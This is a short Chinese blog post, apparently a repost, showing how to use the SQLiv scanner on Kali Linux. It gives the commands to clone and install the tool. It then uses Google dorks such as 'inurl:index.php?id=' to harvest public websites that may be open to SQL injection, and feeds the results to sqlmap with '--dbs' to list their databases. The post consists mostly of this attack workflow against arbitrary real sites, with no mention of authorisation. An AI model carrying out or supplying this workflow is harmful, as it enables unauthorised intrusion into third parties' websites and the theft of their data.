kali下sqliv:SQL注入URL扫描器

最新推荐文章于 2025-04-16 06:00:00 发布

weixin_34216196

最新推荐文章于 2025-04-16 06:00:00 发布

阅读量581

点赞数

CC 4.0 BY-SA版权

文章标签： python php git

原文链接：https://yq.aliyun.com/articles/628525

本文介绍了一种使用Python脚本(sqliv.py)结合sqlmap工具进行SQL注入漏洞探测的方法。通过谷歌搜索引擎查找潜在易受SQL注入攻击的URL，并利用sqlmap进一步验证及利用这些漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

https://www.youtube.com/watch?v=drRMBTqp1Ug
https://github.com/Hadesy2k/sqliv

cd /tmp
git clone https://github.com/Hadesy2k/sqliv
cd sqliv
pip install -r requirements.txt
python sqliv.py -d inurl:index.php?id= -e google
#用谷歌搜索引擎搜索指定关键词的链接，可以获取一些公网上可以搜到的可被sql注入的问题链接，目前只添加了对谷歌搜索引擎的支持
python sqliv.py -d inurl:article.php?id= -e google

sqlmap -u 获取到的url --dbs